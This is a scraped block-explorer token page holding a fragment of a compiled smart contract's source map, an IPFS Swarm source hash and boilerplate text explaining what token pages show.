0;-1:-1:-1;16734:25:0;;16730:101:::1;;16776:43;16789:15;16806:12;16776;:43::i;:::-;16883:13;::::0;16841:20:::1;::::0;16864:33:::1;::::0;:14:::1;:7:::0;16876:1:::1;16864:11;:14::i;:33::-;16841:56:::0;-1:-1:-1;16912:16:0;;16908:97:::1;;16945:48;::::0;3956:42:::1;::::0;16945:48;::::1;;;::::0;16980:12;;16945:48:::1;::::0;;;16980:12;3956:42;16945:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;16908:97;17038:21;17074:25:::0;;17070:100:::1;;17116:42;::::0;3862::::1;::::0;17116;::::1;;;::::0;17145:12;;17116:42:::1;::::0;;;17145:12;3862:42;17116;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;17070:100;-1:-1:-1::0;;5775:7:0;:15;;-1:-1:-1;;5775:15:0;;;-1:-1:-1;;;;;;;;16124:1053:0:o;14938:287::-;15056:8;;15019:7;;-1:-1:-1;;;;;15056:8:0;;;15043:21;;;;15039:70;;-1:-1:-1;15088:9:0;;15081:16;;15039:70;15136:8;;-1:-1:-1;;;;;15136:8:0;;;15123:21;;;;15119:69;;-1:-1:-1;15168:8:0;;15161:15;;15119:69;-1:-1:-1;15205:12:0;;14938:287;;;;:::o;15579:354::-;15692:10;;15660:57;;15677:4;;-1:-1:-1;;;;;15692:10:0;15705:11;15660:8;:57::i;:::-;15728:10;;:197;;-1:-1:-1;;;15728:197:0;;15795:4;15728:197;;;7221:34:1;7271:18;;;7264:34;;;15728:10:0;7314:18:1;;;7307:34;;;7357:18;;;7350:34;3774:42:0;7400:19:1;;;7393:44;15899:15:0;7453:19:1;;;7446:35;-1:-1:-1;;;;;15728:10:0;;;;:26;;15762:9;;7155:19:1;;15728:197:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15579:354;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1936:247::-;1995:6;2048:2;2036:9;2027:7;2023:23;2019:32;2016:52;;;2064:1;2061;2054:12;2016:52;2103:9;2090:23;2122:31;2147:5;2122:31;:::i;2377:316::-;2454:6;2462;2470;2523:2;2511:9;2502:7;2498:23;2494:32;2491:52;;;2539:1;2536;2529:12;2491:52;-1:-1:-1;;2562:23:1;;;2632:2;2617:18;;2604:32;;-1:-1:-1;2683:2:1;2668:18;;;2655:32;;2377:316;-1:-1:-1;2377:316:1:o;2698:416::-;2763:6;2771;2824:2;2812:9;2803:7;2799:23;2795:32;2792:52;;;2840:1;2837;2830:12;2792:52;2879:9;2866:23;2898:31;2923:5;2898:31;:::i;:::-;2948:5;-1:-1:-1;3005:2:1;2990:18;;2977:32;3047:15;;3040:23;3028:36;;3018:64;;3078:1;3075;3068:12;3018:64;3101:7;3091:17;;;2698:416;;;;;:::o;3119:592::-;3232:6;3240;3248;3256;3264;3272;3280;3333:3;3321:9;3312:7;3308:23;3304:33;3301:53;;;3350:1;3347;3340:12;3301:53;-1:-1:-1;;3373:23:1;;;3443:2;3428:18;;3415:32;;-1:-1:-1;3494:2:1;3479:18;;3466:32;;3545:2;3530:18;;3517:32;;-1:-1:-1;3596:3:1;3581:19;;3568:33;;-1:-1:-1;3648:3:1;3633:19;;3620:33;;-1:-1:-1;3700:3:1;3685:19;3672:33;;-1:-1:-1;3119:592:1;-1:-1:-1;3119:592:1:o;3716:388::-;3784:6;3792;3845:2;3833:9;3824:7;3820:23;3816:32;3813:52;;;3861:1;3858;3851:12;3813:52;3900:9;3887:23;3919:31;3944:5;3919:31;:::i;:::-;3969:5;-1:-1:-1;4026:2:1;4011:18;;3998:32;4039:33;3998:32;4039:33;:::i;4369:127::-;4430:10;4425:3;4421:20;4418:1;4411:31;4461:4;4458:1;4451:15;4485:4;4482:1;4475:15;4501:168;4574:9;;;4605;;4622:15;;;4616:22;;4602:37;4592:71;;4643:18;;:::i;4674:217::-;4714:1;4740;4730:132;;4784:10;4779:3;4775:20;4772:1;4765:31;4819:4;4816:1;4809:15;4847:4;4844:1;4837:15;4730:132;-1:-1:-1;4876:9:1;;4674:217::o;5112:128::-;5179:9;;;5200:11;;;5197:37;;;5214:18;;:::i;5377:127::-;5438:10;5433:3;5429:20;5426:1;5419:31;5469:4;5466:1;5459:15;5493:4;5490:1;5483:15;5509:251;5579:6;5632:2;5620:9;5611:7;5607:23;5603:32;5600:52;;;5648:1;5645;5638:12;5600:52;5680:9;5674:16;5699:31;5724:5;5699:31;:::i;5765:980::-;6027:4;6075:3;6064:9;6060:19;6106:6;6095:9;6088:25;6132:2;6170:6;6165:2;6154:9;6150:18;6143:34;6213:3;6208:2;6197:9;6193:18;6186:31;6237:6;6272;6266:13;6303:6;6295;6288:22;6341:3;6330:9;6326:19;6319:26;;6380:2;6372:6;6368:15;6354:29;;6401:1;6411:195;6425:6;6422:1;6419:13;6411:195;;;6490:13;;-1:-1:-1;;;;;6486:39:1;6474:52;;6581:15;;;;6546:12;;;;6522:1;6440:9;6411:195;;;-1:-1:-1;;;;;;;6662:32:1;;;;6657:2;6642:18;;6635:60;-1:-1:-1;;;6726:3:1;6711:19;6704:35;6623:3;5765:980;-1:-1:-1;;;5765:980:1:o;6750:125::-;6815:9;;;6836:10;;;6833:36;;;6849:18;;:::i;7492:306::-;7580:6;7588;7596;7649:2;7637:9;7628:7;7624:23;7620:32;7617:52;;;7665:1;7662;7655:12;7617:52;7694:9;7688:16;7678:26;;7744:2;7733:9;7729:18;7723:25;7713:35;;7788:2;7777:9;7773:18;7767:25;7757:35;;7492:306;;;;;:::o

Swarm Source

ipfs://44248105803da50f563c4ef0408f644759e22e9167e47804aeca31c350bb47a1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.